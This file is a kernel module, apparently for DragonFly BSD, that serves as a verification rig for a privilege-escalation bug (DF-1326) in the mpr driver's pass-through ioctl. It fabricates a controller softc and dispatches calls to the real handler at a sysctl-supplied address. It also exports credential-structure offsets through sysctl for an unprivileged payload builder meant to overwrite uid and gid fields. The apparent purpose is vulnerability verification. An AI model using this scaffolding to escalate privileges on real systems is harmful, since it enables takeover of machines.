/* * DF-1326 verification rig (pass 3) -- dispatches the REAL production * mpr ioctl handler against a fabricated softc. * * The compiled-in driver entry is `mpr_ioctl_devsw` (static, the devsw * wrapper with mpr_ioctl inlined by cc 8.3 -O2). This rig: * * - creates /dev/df1326rig with the EXACT ownership make_dev() gives * /dev/mprN in mpr_attach_user() (mpr_user.c:205): * UID_ROOT, GID_OPERATOR, 0640 * - primes a fabricated mpr_softc with the fields the compiled * prologue of mpr_user_pass_thru actually touches (offsets proven * by disassembly of the shipped /boot/kernel/kernel): * +0x010 mpr_flags, +0x014 mpr_debug, +0x01c reqframesz, * +0x1d8 mpr_lock * - forwards every ioctl VERBATIM to the production handler resolved * at runtime from the running kernel binary (no KASLR: the file * vaddr IS the runtime vaddr; the rig byte-verifies the known * prologue before every dispatch). * * The rig stands in ONLY for what this QEMU guest cannot provide: an * LSI SAS2008-class PCI controller for mpr_attach(). Everything from * dev_dioctl() down -- devfs dispatch, ioctl marshalling, the ioctl * switch, mpr_user_pass_thru, copyin() -- is production code executing * from the shipped kernel image. * * Only root can kldload/prime the rig; the trigger runs as an * unprivileged operator-group user (uid=2 gid=5), exactly like the * real /dev/mprN attack on hardware. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include static d_open_t rig_open; static d_close_t rig_close; static d_ioctl_t rig_ioctl; static struct dev_ops rig_ops = { { "df1326rig", 0, D_MPSAFE }, .d_open = rig_open, .d_close = rig_close, .d_ioctl = rig_ioctl, }; static unsigned long rig_target; /* runtime addr of mpr_ioctl_devsw */ static void *rig_sc; /* fabricated mpr_softc */ static void *rig_fake_dev; /* fabricated device_t (sc->mpr_dev) */ static struct cdev *rig_cdev; SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_target, CTLFLAG_RW, &rig_target, 0, "runtime address of production mpr_ioctl_devsw (prime as root)"); /* * Offsets the unprivileged payload builder needs. No KASLR on this * build, so they are stable across boots; an attacker derives them * from the same world-readable /boot/kernel/kernel. */ static unsigned long o_gd_curthread = offsetof(struct globaldata, gd_curthread); static unsigned long o_td_proc = offsetof(struct thread, td_proc); static unsigned long o_p_ucred = offsetof(struct proc, p_ucred); static unsigned long o_cr_uid = offsetof(struct ucred, cr_uid); static unsigned long o_cr_ruid = offsetof(struct ucred, cr_ruid); static unsigned long o_cr_svuid = offsetof(struct ucred, cr_svuid); static unsigned long o_cr_groups = offsetof(struct ucred, cr_groups); static unsigned long o_cr_rgid = offsetof(struct ucred, cr_rgid); static unsigned long o_cr_svgid = offsetof(struct ucred, cr_svgid); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_gd_curthread, CTLFLAG_RD, &o_gd_curthread, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_td_proc, CTLFLAG_RD, &o_td_proc, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_p_ucred, CTLFLAG_RD, &o_p_ucred, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_uid, CTLFLAG_RD, &o_cr_uid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_ruid, CTLFLAG_RD, &o_cr_ruid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_svuid, CTLFLAG_RD, &o_cr_svuid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_groups, CTLFLAG_RD, &o_cr_groups, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_rgid, CTLFLAG_RD, &o_cr_rgid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_svgid, CTLFLAG_RD, &o_cr_svgid, 0, ""); static int rig_open(struct dev_open_args *ap) { return (0); } static int rig_close(struct dev_close_args *ap) { return (0); } static int rig_ioctl(struct dev_ioctl_args *ap) { int (*fn)(struct dev_ioctl_args *); /* first 16 bytes of mpr_ioctl_devsw in the shipped kernel */ static const uint8_t prologue[16] = { 0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x48, 0x81, 0xec }; if (rig_target == 0) { kprintf("df1326rig: target not primed (kern.df1326rig_target)\n"); return (ENXIO); } if (memcmp((const void *)rig_target, prologue, sizeof(prologue)) != 0) { kprintf("df1326rig: REFUSING dispatch - prologue mismatch at " "%p\n", (void *)rig_target); return (ENXIO); } kprintf("df1326rig: dispatch REAL mpr_ioctl_devsw @ %p cmd=%#lx " "data=%p\n", (void *)rig_target, ap->a_cmd, ap->a_data); fn = (int (*)(struct dev_ioctl_args *))rig_target; return (fn(ap)); } static int df1326rig_handler(struct module *m, int what, void *arg) { int err = 0; switch (what) { case MOD_LOAD: rig_sc = kmalloc(0x400, M_DEVBUF, M_WAITOK | M_ZERO); rig_fake_dev = kmalloc(0x200, M_DEVBUF, M_WAITOK | M_ZERO); if (rig_sc == NULL || rig_fake_dev == NULL) return (ENOMEM); *(uint32_t *)((uint8_t *)rig_sc + 0x1c) = 128; /* reqframesz */ /* sc->mpr_dev (offset 0): zeroed fake device_t; a NULL * devclass makes device_get_name() return NULL and * device_print_prettyname() print "unknown: " -- the * ENOMEM path's device_printf() is survivable. */ *(void **)rig_sc = rig_fake_dev; lockinit((struct lock *)((uint8_t *)rig_sc + 0x1d8), "df1326rig_lk", 0, 0); rig_cdev = make_dev(&rig_ops, 0, UID_ROOT, GID_OPERATOR, 0640, "df1326rig"); if (rig_cdev == NULL) { kfree(rig_sc, M_DEVBUF); rig_sc = NULL; return (ENOMEM); } rig_cdev->si_drv1 = rig_sc; kprintf("df1326rig: loaded; fake sc=%p; /dev/df1326rig " "0640 root:operator; gd_curthread@+%lu td_proc@+%lu " "p_ucred@+%lu cr_uid@+%lu\n", rig_sc, o_gd_curthread, o_td_proc, o_p_ucred, o_cr_uid); break; case MOD_UNLOAD: if (rig_cdev != NULL) destroy_dev(rig_cdev); if (rig_sc != NULL) kfree(rig_sc, M_DEVBUF); if (rig_fake_dev != NULL) kfree(rig_fake_dev, M_DEVBUF); kprintf("df1326rig: unloaded\n"); break; default: err = EOPNOTSUPP; break; } return (err); } static moduledata_t df1326rig_mod = { "df1326rig", df1326rig_handler, NULL }; DECLARE_MODULE(df1326rig, df1326rig_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_VERSION(df1326rig, 1);